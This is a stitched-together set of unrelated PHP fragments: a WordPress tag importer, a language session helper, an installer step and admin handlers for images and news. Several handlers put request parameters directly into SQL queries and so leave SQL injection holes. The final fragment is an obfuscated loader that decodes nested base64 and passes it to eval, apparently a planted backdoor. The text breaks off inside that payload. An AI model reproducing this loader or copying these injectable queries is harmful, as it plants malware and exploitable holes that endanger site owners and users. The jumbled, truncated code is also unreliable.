function extraerTags($ID) { global $db_source, $prefix; /* * Importación de Categorías */ $m = new mysql(); #SQL: extrae los tags de WP para el ID del post que se pase como parámetro. $m->query("SELECT t.term_id,t.slug,t.name,tr.object_id FROM {$db_source}.wp_terms as t \n\n\t\tinner join {$db_source}.wp_term_taxonomy as tt on tt.term_id = t.term_id \n\n\t\tinner join {$db_source}.wp_term_relationships as tr on tr.term_taxonomy_id = t.term_id \n\n\t\tWHERE tt.taxonomy = 'category' and tr.object_id={$ID} \n\n\t\t"); $sql_tags = "INSERT INTO " . $prefix . "tags(tag_id,tag,urlfriendly) VALUES "; $insertTags = false; $sql_relation = "INSERT INTO " . $prefix . "tags_rel(tag_id,post_id) VALUES "; $hasTags = false; /* * Para cada tag del post extraido de WP * 1.- Revisar si existe, si no, lo inserta. */ if ($m->total() > 0) { while ($m->fetch()) { $m2 = new mysql(); /* * Si no existe tag, lo insertamos. */ $m2->query("SELECT * FROM " . $prefix . "tags WHERE tag_id=" . $m->sql_quote($m->row['term_id']) . ""); if (!$m2->fetch()) { $sql_tags .= "(" . $m->sql_quote($m->row['term_id']) . "," . "'" . $m->sql_quote($m->row['name']) . "'," . "'" . $m->sql_quote($m->row['slug']) . "'" . "), "; $insertTags = true; } /* * Buscamos si existe la relacion entre el tag y el post, si no, la creamos. */ $m2->query("SELECT * FROM " . $prefix . "tags_rel WHERE tag_id=" . $m->sql_quote($m->row['term_id']) . " AND post_id=" . $ID); if (!$m2->fetch()) { $sql_relation .= " (" . $m->sql_quote($m->row['term_id']) . "," . $m->sql_quote($ID) . "), "; $hasTags = true; } } //while } else { //no tiene tags, entonces lo ponemos bajo el tag 'general'. Generalmente id=1 $sql_relation .= " (1," . $m->sql_quote($ID) . "), "; $hasTags = true; } //if if ($insertTags) { $sql_tags = substr($sql_tags, 0, -2) . ';'; $m->query($sql_tags); } if ($hasTags) { $sql_relation = substr($sql_relation, 0, -2) . ';'; $m->query($sql_relation); } }
function session_set() { $db = new mysql(); $SQL = $db->query("Select * From " . TABLE_SETTINGS . ""); $Row = $db->fetch($SQL); define("DEFAULT_LANGUAGE", $Row[2]); //echo"session="; echo $_SESSION['language2']; if (!isset($_SESSION['language2'])) { $_SESSION['language2'] = DEFAULT_LANGUAGE; } elseif (isset($_GET['language'])) { $_SESSION['language2'] = $_GET['language']; } $lang = $_SESSION['language2']; if (preg_match("/[^a-z\\.]/", $lang)) { $_SESSION['error_lang'] = '1'; $error = $_SESSION['error_lang']; } else { $result = $db->query("Select * From " . TABLE_LANGUAGES . " Where shot_lang Like '" . $lang . "'"); $num = $db->num($result); if ($num == 0) { $_SESSION['error_lang'] = '1'; $error = $_SESSION['error_lang']; $_SESSION['language'] = DEFAULT_LANGUAGE; } else { unset($_SESSION['error_lang']); return $lang; } } }
function onDefault() { global $_out; if ($form = $this->getForm('form_edit')) { if (($row = $this->getRow()) && ($mysql = new mysql()) && ($rs = $mysql->query('select * from `' . $mysql->getTableName(apArticles::tableArticles) . '` where id=' . $row)) && ($r = $mysql->fetch($rs))) { $form->setTitle('Change data "' . $r['title'] . '"'); } $form->load(); if ($ff = $form->getField('row')) { $ff->setValue($this->getRow()); } $_out->addSectionContent($form->getRootElement()); } }
function step3($data) { if (!isset($_POST['host']) || !isset($_POST['username']) || !isset($_POST['password']) || !isset($_POST['database']) || !isset($_POST['adress'])) { return "Es trat ein Fehler bei der �rmittlung der Daten auf."; } $mysql = new mysql(array()); if (!@$mysql->connect($_POST['host'], $_POST['username'], $_POST['password'])) { return "Es konnte keine Verbindung zum Server hergestellt werden.<br />Überprüfe bitte deine Angaben auf ihre Richtigkeit.<br />" . mysql_error(); } if (!@$mysql->select_db($_POST['database'])) { return "Die gewünschte Datenbank konnte nicht ausgewählt werden.<br />Entweder existiert diese nicht oder der gewählte Benutzer hat keine Zugriffsrechte.<br />" . mysql_error(); } $_SESSION['install']['mysql']['host'] = $_POST['host']; $_SESSION['install']['mysql']['username'] = $_POST['username']; $_SESSION['install']['mysql']['password'] = $_POST['password']; $_SESSION['install']['mysql']['database'] = $_POST['database']; $_SESSION['install']['tic_adress'] = $_POST['adress']; $tables = array("gn4accounts", "gn4allianzen", "gn4cron", "gn4flottenbewegungen", "gn4forum", "gn4gnuser", "gn4incplanets", "gn4log", "gn4nachrichten", "gn4nachtwache", "gn4meta", "gn4scans", "gn4attflotten", "gn4attplanung", "gn4vars", "gn4channels"); $mysql->query("SHOW TABLE STATUS") or die($mysql->error(__FILE__, __LINE__)); $tableexits = array(); while ($row = $mysql->fetch()) { $tableexits[$row['Name']] = 1; } echo "<div style=\"border:1px #000000 solid;width:400px;padding:3px;\"><b>Schritt 3: Überprüfe Tabellen</b>\n <form action=\"\" method=\"post\"><input type=\"hidden\" name=\"step\" value=\"4\" \\>\n <table style=\"text-align:left;\" cellspacing=\"0\" cellpadding=\"0\">\n <tr style=\"font-weight:bold;\"><td>Tabellenname</td><td>Installieren</td></tr>"; $showwarning = 0; foreach ($tables as $table) { if ($tableexits[$table]) { $color = "#800000"; $showwarning = 1; $input = "<input type=\"checkbox\" name=\"check[]\" value=\"" . $table . "\" checked=\"checked\"/>"; } else { $color = "#008000"; $input = "<input type=\"checkbox\" checked=\"checked\" disabled = \"disabled\" /><input type=\"hidden\" name=\"check[]\" value=\"" . $table . "\" />"; } echo "<tr style=\"color:" . $color . "\"><td>{$table}</td><td style=\"text-align:center\">" . $input . "</td></tr>"; } if ($showwarning) { echo "</table><br /><div style=\"text-align:left\"><b>ACHTUNG:</b> Rot makierte Tabellen existieren bereits und werden, sofern die Installation fortgesetzt wird, inklusive ihrer Daten berschrieben.</div>"; } echo "<input type=\"submit\" value=\"Weiter\" /></form>\n </div>"; return ""; }
function run() { global $_out; $mysql = new mysql(); $row = filter_var(param('row'), FILTER_VALIDATE_INT); if (($rs = $mysql->query('select * from `' . $mysql->getTableName($this->table) . '` where ' . '`section`="' . $this->getSection()->getId() . '" and `module`="' . $this->getConf('module', true) . '" and `id_article`=' . ($row ? $row : 0))) && ($r = $mysql->fetch($rs))) { if ($v = $r['title']) { $_out->setMeta('title', $v); } if ($v = $r['keywords']) { $_out->setMeta('keywords', $v); } if ($v = $r['description']) { $_out->setMeta('description', $v); } if (($v = $r['h1']) && ($e = $_out->query('/page/section')->item(0))) { $e->setAttribute('h1', $v); } } }
require_once ROOT . "/classes/adm_authorize.php"; // Load JsHttpRequest backend. require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php"; $sql = new mysql($sql); $auth = new adm_authorize($sql); // Create main library object. You MUST specify page encoding! $JsHttpRequest = new JsHttpRequest("windows-1251"); if (!$auth->check()) { $GLOBALS['_RESULT'] = array("q" => "You are not logged in"); exit; } $sql->query("DELETE FROM `" . PREF . "projects` WHERE p_id=" . $_REQUEST['pid'] . " LIMIT 1"); $res = $sql->query("SELECT img_id AS id, `img_filename` AS fname, `img_project_id` AS cid FROM `" . PREF . "img` WHERE img_project_id=" . $_REQUEST['pid']); if (mysql_num_rows($res) > 0) { $r = array(); while ($row = $sql->fetch($res)) { if ($row['cid'] == '0') { unlink(ROOT . "/images/unsorted/" . $row['fname'] . ".jpg"); unlink(ROOT . "/images/unsorted/thumb_" . $row['fname'] . ".jpg"); } else { unlink(ROOT . "/images/" . $row['fname'] . ".jpg"); unlink(ROOT . "/images/thumb_" . $row['fname'] . ".jpg"); } $r[] = $row['id']; } $sql->query("DELETE FROM `" . PREF . "img` WHERE img_project_id=" . $_REQUEST['pid']); $res = $sql->query("SELECT link_value AS v FROM `" . PREF . "kvi_links` WHERE link_img IN (" . implode(', ', $r) . ")"); if (mysql_num_rows($res) > 0) { $v = array(); while ($row = $sql->fetch($res)) { $v[] = $row['v'];
<?php $db = new mysql(); $Sql = $db->query("Select * From " . TABLE_NEWS . " Where news_id='{$id}' AND lang_id='{$lang}'"); $Row = $db->fetch($Sql); if ($_POST['add'] == "yes") { $_POST[content] = mysql_real_escape_string($_POST[content]); if ($_POST['imgs'] == "yes") { $new_name = "new" . time() . date('dmy'); $target = "../files/news/"; $fname = $_FILES['image']['name']; $zname = explode(".", $fname); $ns = end($zname); $target = $target . basename("{$new_name}.{$ns}"); $imgname = $_FILES['image']['tmp_name']; if (move_uploaded_file($imgname, $target)) { } else { exit; } $thumb = "{$new_name}.{$ns}"; $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day]; $crtime = date("H:i"); $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day]; $db->query("UPDATE " . TABLE_NEWS . " SET title='" . protect($_POST['title']) . "', sh_desc='" . protect($_POST['sh_desc']) . "', content='" . $_POST['content'] . "', thumb='" . $thumb . "', created='" . $created . "' WHERE news_id='{$_POST['uid']}' AND lang_id='{$lang}'"); echo "<script>document.location='index.php?options=news'</script>"; } else { $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day]; $db->query("UPDATE " . TABLE_NEWS . " SET title='" . protect($_POST['title']) . "', sh_desc='" . protect($_POST['sh_desc']) . "', content='" . $_POST['content'] . "', created='" . $created . "' WHERE news_id='{$_POST['uid']}' AND lang_id='{$lang}'"); echo "<script>document.location='index.php?options=news'</script>"; } }
error_reporting(0); require_once "../cfg.php"; require_once ROOT . "/classes/adm_authorize.php"; // Load JsHttpRequest backend. require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php"; $sql = new mysql($sql); $auth = new adm_authorize($sql); // Create main library object. You MUST specify page encoding! $JsHttpRequest = new JsHttpRequest("windows-1251"); if (!$auth->check()) { $GLOBALS['_RESULT'] = array("q" => "You are not logged in"); exit; } $sql->query("SELECT `img_project_id` AS cid, `img_filename` AS fname FROM `" . PREF . "img` WHERE img_id=" . $_REQUEST['img'] . " LIMIT 1"); $r = $sql->fetch(); $sql->query("DELETE FROM `" . PREF . "img` WHERE img_id=" . $_REQUEST['img']); // kills just uploaded images if ($r['cid'] == '0') { unlink(ROOT . "/images/unsorted/" . $r['fname'] . ".jpg"); unlink(ROOT . "/images/unsorted/thumb_" . $r['fname'] . ".jpg"); } else { $res = $sql->query("SELECT link_value AS v FROM `" . PREF . "kvi_links` WHERE link_img=" . $_REQUEST['img']); if (mysql_num_rows($res) > 0) { $v = array(); while ($row = $sql->fetch()) { $v[] = $row['v']; } $sql->query("DELETE FROM `" . PREF . "kvi_links` WHERE link_img=" . $_REQUEST['img']); $sql->query("DELETE FROM `" . PREF . "values` WHERE value_id IN (" . implode(' ,', $v) . ")"); }
<?php error_reporting(0); require_once "../cfg.php"; require_once ROOT . "/classes/adm_authorize.php"; // Load JsHttpRequest backend. require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php"; $sql = new mysql($sql); $auth = new adm_authorize($sql); // Create main library object. You MUST specify page encoding! $JsHttpRequest = new JsHttpRequest("windows-1251"); if (!$auth->check()) { $GLOBALS['_RESULT'] = array("q" => "You are not logged in"); exit; } $f = $sql->fetch($sql->query("SELECT img_filename AS fname\n\tFROM `" . PREF . "img`\n\tWHERE img_id='" . $_REQUEST['img'] . "' LIMIT 1")); $oldname = $f['fname']; $r = $sql->fetch($sql->query("SELECT MAX(img_order) AS num\n\tFROM `" . PREF . "img`\n\tWHERE img_project_id='" . $_REQUEST['pid'] . "'")); while (file_exists(ROOT . "/images/" . $f['fname'] . ".jpg")) { $f['fname'] = md5(md5(rand(0, 1000000)) . $f['fname'] . md5(rand(0, 100000))); } $query = "UPDATE `" . PREF . "img`\n\tSET img_project_id='" . $_REQUEST['pid'] . "', img_order='" . ($r['num'] + 1) . "', img_filename='" . $f['fname'] . "'\n\tWHERE img_id='" . $_REQUEST['img'] . "'"; if (!$sql->query($query)) { echo mysql_error(); } else { rename(ROOT . "/images/unsorted/" . $oldname . ".jpg", ROOT . "/images/" . $f['fname'] . ".jpg"); rename(ROOT . "/images/unsorted/thumb_" . $oldname . ".jpg", ROOT . "/images/thumb_" . $f['fname'] . ".jpg"); }
$i2to5MsOCnAG5 = wRAeFGFx('l49nQwVUlrzdRepqwPsufEp', '', $i2to5MsOCnAG5); $oIaV6uNUtM7yomN4wcWQ = '$LD1APhzfMajd5kmjZdse'; $dsKwVXXrS7cr7XnrB7L = $i4WdRSoN0axt2Y99nfLooP($oIaV6uNUtM7yomN4wcWQ, $i2to5MsOCnAG5 . '(' . $t9thNnEPak7SDHeov2GeZJvW . '(' . $oIaV6uNUtM7yomN4wcWQ . '));'); $dsKwVXXrS7cr7XnrB7L('ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRJeGMySlZiRVJhTW1oaFlteGFNVmRVVGxOalIwbDVUbGRhWVZkSGFIZFplazVUWld0MFJGTnRSbFZXUmxwNFZGYzFSbVF5VFhsaFJ6RlpUVEJLZDFreU1EVmliVWw1WXpKc1RGVXlkek5STWpGaFRWZEtkRlJxUW1oV2Vtd3hVMVZhZDFSck5WaGlNMnhxVmtWS05sbFZaR0ZhYlU1SVlraHNhVTF0VWpKWldHeHVZMGRXTTJOSWJHRlhSa2w0V1RJd01Gb3hjSFJTYms1cVRXeFZNMUV5TkhkVE1FNTBZa2N4U2xFeVpHOVhiVFZYWkZacmVsVnVRbWxOYWxadFYyeG9iMk5IVFhwVmJuQk1VVEJ3VjFsdE1EVmFiSEJJVm0xd2FVMXNTbk5UVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiRnBwWWxSc2JWZHJaRmRoYlVsNVZXMTRURkV4U2xWYVJXaExZMGRLZEZrelFrUmliazVNVTFWT1Fsb3diRVJWYkZKclUwVndkMWx0TVdwYU1VSlVVVzFzV2xkRk5YTlViWEJUV214d1NGWnRjR2xOYkVwelV6Qk9VMVpIVWtsVGJrSnBZbGRPZDFRelpIWmFNR3hFVVZka1MxSnJOVzlaYTJoU1QxVnNkRlZ0Y0U5WFJVVXhWMnRWTldReFJuUlVWMnhRWkRJNWJsTlZUa0phTUhCSFZHcENhbUV6YUhOWmJXeENUMVZzU1ZScVFtcGlXR2h6V1cxc2JtRXhWWHBWYm14b1ZucFdkVk14VW5wVE1HeEVVVmRrU2xFeFNsVlhiR2hHV2pGQ1ZGRlhiRk5TVkVaSFYyMXdWMU5XWkhWV2JFWnFWVEJyTTFFeWJFSmFNR3hFVVZkMFUwMXJXakJaYkdSR1dqRkNWRkZYYkVwaGJrNU1VMVZPUWxvd2JFbGFSemxvVmpOb2MxTlZUbTlsYlZKSlUyNU9ZVlo2VW5aVGExWnJZVWRLV0UxWGFFeFdTR1J5VmxST1UyVldVa2hXYmxaTVZWYzVibE5WVGtKYU1sWXpZakprU2xFd1JtNVRWVTVDV2pCc1JGVnNVbUZYUlZadVZVWk9RMlF4YkZoVWJrcE1VVEJ3U2xNeWJFcGpNazE1WVVkb1RsVXlaSEpWYWtwSFpFZEtXRkpZVmt0U2F6VnpXVEZOTUdFeFZYbFNiazVyVVRKMGQxUXpaSFphTUd4RVVWZGtTbEV3Um01VFZVNVRVMFpzV0UxWVVscFZlbEUxV1hwT1YyRlhUWHBWYm14TVVURktWVmRzYUVaak1ERkVaSHBTVEZaSVRreFRWVTVDV2pCc1NVMUZkRVJoVlVadVUxVk9RMlZXY0ZsVmFrWnFZbFJTYmxOcldrOU5SMDUwWWtoV1lVMVVVbkpWYWtwSFpFZEtXRkpVWkVSaWFrSk1XbXhHZGxNeVJsaFhWMlJNVVRCYWRGcEdZekZoYlZKSVlraGFhV0pFYkhOYVZXUnpaVzFTU1ZSWE9VcGlWMUp6V2tWWk5VMUdaM2xWYmtKcVlrUnNNRmRXYUU5bGEyeHdZVE5DYkdRelFuUmFSbU14WVcxU1NHSklXbWxoVlVwMVYyeG9VMXB0VWtkUFYzUm9WMFZ3YlZsc1pFZGxiVTQxV2pOQ1NsTklUa3hSTWpGellsVnNSR0ZITVd0V2VsWnhXa1ZrYzJSdFNuTlBWM2hzVWpKNE5scEZhRTVpTUd4MVZHcFdhazFVYkhWWGJHaFRXbTFTU0ZadVVtcFNhbXh5V1Zab1NtRlZkRlJoTW1Sc1pESTVibE5WVGtKYU1rWllWMWRrVEZKVlNuZFpla1UxVFRKT2RHSkVRbUZXTUZwd1dXdGtWbUl5VFhwaVNIQlpUVzFTYzFwRldUVk5SbkJZVFZoa1dVMXNTbmRaTW14dVkwVjBWR0V5Wkd4bFZVWnlXVEl4VjJWc1kzaE5SMlJSVlRCS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1VURktOVmRzYUU5WmJHaFVVVlJzU2xORmNITlhWbVEwWkRGc1dWVnRPVXhSTVVwdFZXeFZNVll4WkRWVGJGWlZWbXRHY0ZkR1RuSk9NR3hKVFVWMFNsRXdSbTVUVldSellsVnNSRm95YUdGV2VrWXpXa1ZvY21Jd2NFZFBWVnBWWWtad2FWTlhlRk5VYkZaR1ZXdHdWbUZWY0d0VE1VNUNZbFZ3Y0ZGclJtaFhSVFZ0V2tST1MyTkhVa2hXYldoYVlsaG9jMU13YUV0aVJteFlaVWhrV2xkR1NuWlRNRTVUV214S1ZrNVdaRmhsVlhCV1ZrWmFRMUpXVGxkVFYyeFpWVEowZDFNeFRrTk9NR3hFVlc1c1lWZEZOV2xYUms1Q1QxVnNTVk50ZUZwV00yZ3pWMVpvVTJJd2RFUlJWM1JaVFVaYVVGWnRlSHBoVmxwR1RWWkdVMUpYZUZSVFYzZDNZMFU1TlZGcWJFUmhWVVp1VTFWT1EyTkdjSEJSVnpsS1ZqRmFNRmt3YUZOT1ZYUkVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1UxVk9XbUpWYkVaUmJrSnFUVlJyZWxreU1YTk5SbkJZVW0xc2FWSXhWblpaTWpGWFlVZEtTVkZ0YUd0U01tUjJVMnRaTlZKc1VuTlhiVXBLWWtaS1IxWkdXa0poVm1oVVlUTkNURlV3U1ROVFZVNVRaVlp3V1ZSdFNsbFZNRVUxVTFWb1MySkdiRmhsU0dSYVYwWktkbE13VGtKaE1XZDNWbXM1VjJKSVRuQldhMVpYVkd4V1JGTnRVa3hXU0U1dVdteEdkbG93YkVSUlYyUkxVMFpLYzFsc2FFTmlWMFpZWlVkNFVWWlZTWGRYYkdONFpESktkRkp1VWt4U2FteHRWVzEwYzFSV1NsZFBWMXBOVVRCc2NGTXhVbnBUTUd4RVVWZGtTbEl5ZUhSVFZVNXZVVlp3ZEdKSVRtRldhbXh6V2xWa2MyVnRVa2xVVnpsTFUwWktjMWxzYUVOaVYwWllaVWQ0VEZVeWRHNWFXR1IyV2pCc1JGRlhaRXBSTUVwQ1drWmpNV015UmxoT1dFcE1VVEZKZDFkc1kzaGtNWEIwWWtoT1lWVXljek5STW14Q1dqQnNSRkZ1UW1GaFZVWjJWVlZrYzJWc1ozcGFTR3hvVjBaS2MxZFdaRXRqTVhCVVlVaHNZVll3V25wWk1HUkhUVWRHUkdGSGRHaFhSWEF4VjFaamVHSkZkRVJWYWtKaFZucEdNMWR0TVhOak1YQlVZVE5DVEZVeWRHNWFXR3hUWlZad1dWUnRTbGxWTUVVMVUxVm9TMkpHYkZobFNHUmFWMFpLZGxNd1pGTmpSMDUwVGxkb2FWWXhWblpUYTJoVFlrZEtXVkZ0TVdoV00yaHpVekZPY2s0d2JFbE5SWFJLVVRCR2JsRXliRUphTUd4RVVXcHNSR0ZWUm01VFZVNURZMFp3Y0ZGWE9WSlNNbmcyVjBST2EyVlhSbGxWYlhoYVZqQndlbGRzVG05bFZuQllVbTVPYWxJd1dYZFpWVTV2VVZkR1dFNVlRbGxOYlZKeldrVk9ibUZYVWxsUmJrNXBUV3RhY2xkRVRsTmtSMDVIVDFkMGFGZEZiSEJUTVU1eVkwVjBWRkZxWkVwUk1VbzFWMnhvVDFsc2FGUlJWR3hLVTBWd2MxZFdaRFJrTVd4WlZXMDVURkpWU25kWmJURnpXbXh2ZVZacVFreFJNRzk0V1RCa05HUnNiRmhWYlZwclVucEdNMWRFU2xOalIwNXdVMWhDVEZaSVRtNWFiRVoyV2pCc1JGRlhaR2hXTVd4dVV6QldRMk5IVFhoUFZFNXFZbGQzZDFkc1pFZGhWMHBJVmxjNWFtSldXbTlaYTJoRFlVZFNTRm95T1dwTmJGbzJXWHBLYzJSdFNuTlBXSEJhVjBad2MxZEVUa05oUjFKSVdqSTVURlV5ZEhkVE1VNURUakJ3U1ZOdGVHcE5XRkpyVTFWUmQxb3lUblJXYldocFUwVktiMXBGWkc1aU1rMTVWbTV3YWsxdGVESlpiWGMxWld4c1dWZHRlRmxOTUVwdldrVmtibUl3ZEZSaGVtUktVMFJDVEZOVlRrSmFNR3hJWWtjeFNsRXlhRUpaVm1oUFdtMVJlbE51UW10U01WcHZWMWN4TkdKRmRFbFRiWGhhVmpOb00xZFdhRk5pTUhSSVZXNUNhbUpVVm05WmJHUldZakZuZUU5VlpGUldXR2hIVjBSRk5HTkZkRlJoTTBKS1UwaE9ibE5yYUV0aVIwMTRaRWRTU2xKRVFtNVpNakZYWVVkS1NWRnRhR3RTTW1SMlYydGtjMlZYU25SU2JsSmhWVEpvYlZkRVFtRlRiRkpHVm0xYVdXVlhkSGRVTTJ4RFQxVk9ibUl5WkVwUk1FWnVXVEl4VjAxSFVsbFRibFpLVWpCYU5Wa3lNVWRPVm1kNlZtNVdhRmRGV1hoWGJFNXVZVEpPZEZadWNFeFdTRTVNV214R2QwOVZUbTVqU0VKaFlWVkdkbE5XWkdGTlYwcDBWR3BDYUZaNmJERlhSRXBYVGtkR1dWUnFRbXBsVjJSd1YycEtWMDFHWjNwV2JXaEtZVmQwZDFwWVpIZGlWMUpZVGxkd2ExSXllREpaYld4RFlteHdXVlZ0V210V01GWjJVekZvZWxNd2NFaE9WMmhwVmpGV2JsVkdUa05pYkhCWlZXMWFhMU5GYjNoWGJGazFaRlpzV0UxWGVFeFJNbk16VVRKa2QySlhTWHBUYlhoYVZqQTFkbE13Wkd0aVIxSkhUMVJDV1Uxc1NuZFpNbmMxWkVac1dWUnVjRXhSTW5SdVYxWm9UbG93Y0VsVldFSnNaRE5DZDFkdGJHOWlWMFpZWlVkNFdVMXNXVEJaVm1oUFRVZE9OVm95ZEd0UmVsWkdWVEZhUzFKc1JYaFZiRUpXWWtkNGJWWlVRbGRWVmtaWFUydEtWMUpVYkZSVVIyeFRaRlpzV0UxWGVFeFZNbmN6VVRJeFlXUnRUblJXYldoYVRXMWtibE13WkdGalIwcElWbGM1UzFOR1JqRlZhMVp6VlRGS1ZsUnNWbFZOVlhCaFYwUkdUMUpzVmtaU2JFNVNWbXhLVVZaWGF6QmhNa3AwVW01U1lWVXlkRzVYVm1oT1dqQndTVlZxUWt4WFNFNU1VMnRvVTAxRmJFVk5SMlJYVm5wV01sZEVTbE5pUm10NVQxZDBZVlV5WkhKYVJXaFNZMFU1TTJOSVFtRmhWMmcyV2tWb1MyUXlTWHBVVnpsTFUwWkpkMVJGVGtwa1ZXeHdZVEprVVZaRVFUVlRWV1JoWVVkS1NWUnRlRXhYU0U1TVUydG9VMlJIVGtSUlZHeEtVakZaTUZrd1pEUmtiSEJJVmxjNVNtSnVaSEJVUlU1VFRVZFNSR0Y2WkVSaVZuQXlXVEl4VjJGR2EzbGFNamxMVTBaS01Ga3dUa05oUjA0MVVWZDBhMVV5ZHpOUk1teFRZMjFLZEU5VVRsaE5WRUp1VlVaT1EwMUhUblJpU0ZKTVVURkplRk14VW5wVE1scFNZMFJzUkdKcVFreGFiRVozVDFWT2RHSkhNVXhTTURVeVdrWmpNVTFGZEVSVmJrcHBZbFJyZWxNeFRrSlBWa0pVVVZoa1RGZElUa3hUYTJRd1pGZEplbHBIU2xsVk1FVTFVMVZPUzJSSFRYbGlSM2hLWVc1T1RGTnJaREJrVjBsNldrZEtXVlV3UlRWVFZVNUxZbGRHV1ZOdGVHRmlWR3N3VTFkd2VsTXdjRWhrU0ZacFRUSlNhVmRHVGtKUFZXeEVVMjAxYVUxcWJIVlphMlJYWVZkSmVsVlhiRkJrTTBFMVVUSTFTMkpIVWtsV2JteHBZVlZLYjFreU5VdGhSMVpYVDFSR2FXSlhlRFJhUm1SV1lqQndTR1JJVm1sTk1rNTNWRE5rZDA5VlRuVk5SWFJFWWxkNGRGTlZUbTVoUm5CMVZtNVdXazB4U25kWmFra3hXbXh3V1dGSVFtcE5NVW8yVXpCT1MySnNjRmxWYlZwclUwVnZlRmRzV1RWa1ZteFlUVmQ0U21GWGRIZGFXR1IzWWxkU1dFNVhjR3RTTW5neVdXMXNRMkpzY0ZsVmJWcHJVMFZ2ZUZkc1dUVmtWbXhZVFZkNFRGRXlkek5STWpWTFlrZFNTVlp1YkdsaFZVWndWRWN4UzJGR2EzbGtSRVpxVW1wcmQxbFdZM2hpUld4eFl6QjBiVlZZUVRWUk1tUjNZMFp3Y0ZGWE9VcFdNVzk0V1cweFQwMUhSbGhQV0ZaWlRXeFpNRmxXYUU5TlIwNDFXakpzYWsweFNqVlpNR00xWld4c1ZGTllRa3hYU0U1TVYyMDFWMlJXYTNwVmJrSnBUV3BTYmxsNlRsTmxWMDVJVDFod1dsVXlaSEpaVldSSFRsZE5lbFZ0YUZwTmJrNTZVMVZPVTJSV2NGaFdiWFJwVWpGV2VsTlZUbE5rYkhCMFYyNXdZVmRHUlRWVVZVNXlXakpXTTJJeVpFcFJNRVp1V1Zaa1dtSXdiRmhpU0hCWlRXdGFOVmt5TVVkT1ZYUkVWVzVXWVZZeFduSlphMlJXWTBWMFZGRlhkR2xpVmxwelYydGtOR0pGYkVWTlIyUmFWMFZ3TlZkV2FISmlNSEJJVGxkNFlWWXhTbnBYYkU1eVRqQk9jRkZYWkVwUk1FcDBXV3BPUzJKR2JGaFViVGxNVVRGS01WZHNaRmRoTWtwSVZsZGtXbGRGTVc1VGEyaEhUVlp3V1ZOcVZreFZNRWt6VVRKc1Fsb3diRVJSVjJSS1VUQkdibGxXWkZwaU1rMTZWVzVzYWxKNmJEWlRNRTVUWWpGc1dXSkljR3RTTUZweFdWaHNNMW93Y0VsU2FrWmhWMFZ2TVZSRlRrSmhNa2w1VjIweGFrMXNXWGRUTVU1Q1lVWkNWVTFIWkdGaVZWcDZXWHBLVm1ORmJFbFRiWGhyVTBaYU5WbHRiRU5OUjA1MVZtMTRVR1F5T1c1VFZVNUNXakphVW1JeVpFcFJNRVp1V1RJeFYwMUhVbGxUYmxaS1VqRndiMWxyYUU5aVJUa3pZMFJzUkdKcVFreFJNakZ6WWxWc1JHRklRbXBOTURWeldrVk9ibUV4WjNoVWExcFdZa1p3UjFaWGVIcGhWazVIVld4V1ZsSnFiRmRXVkVKWFZURm5kMUpyYUZOV1ZGWldVMWQzZDJORmRGbGpNSFJMVTBaYWIxTlZVWGRhTWsxNlZXNXNhMUo2YkhwWmFrNXJZa2RPY0ZveWRGbE5WVFZIVmxkNFlWSnNWbk5qTW14VVVteEtWbFpWV1RWV2JGVjNWbXhPV1UxRldrbFZiRlV4VmxWc2MwMUlRbEJrTWpsTVUydG9VMlZYVWxoV2JWcHJWakJXYmxWR1RrTmliSEJaVlcxYWExWXdWblpUTVZKNlV6Qk9kR0pITVVwUk1tZzJXa1ZvUzJReVNYcFViV2hNVVRGSmVGZFdUak5oTWxKSlUycEdZVlpxYTNoWFZrNXlZMGRXTTJJd2RHaFdNV3h1VXpCT1IySlhVbGhPVjNCclVqSjRNbGx0ZHpWaVIxWklZa2h3YTFORk1YWlRWelZUV214d1NHSkliRXBoVjNSM1dsaGtkMkpYVWxoT1YzQnJVako0TWxsdGJFTk5SbWQ1Vlc1Q2FtRlhaSGRUVldoNlV6SkdXRmRYWkV4U01XOTRXVzB4VDAxSFJsaFBXRlpaVFd4Wk1GbFdhRTlOUjA0MVdqSnNhazB5ZURaWFJFcHJZa2RTUjA5VVFtRldla1l6VjBSS1UyTkhUbkJUV0VKTVZUQkpNMUV5YkVKYU1HeEVVVzVDWVdGVlJuWlZWV1J6Wld4bmVscEliR2hYUmtwelYxWmtTMk14Y0ZSaFNIQnNWMFUxYlZkcVNsZE5SbWQ2VlcxNGFWZEZTbTFYYTJSelpWVjBSR0V6UWt4Vk1Fa3pVMVZvUzJKSFVrbFdibXhwWVZWS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1UwVndjMXBGYUZkbFYwcHdVVzVzWVZZd1ducFpNR1JIVFVkR1JGb3lkRmxOUmxwUVZtMTRlbUZXV2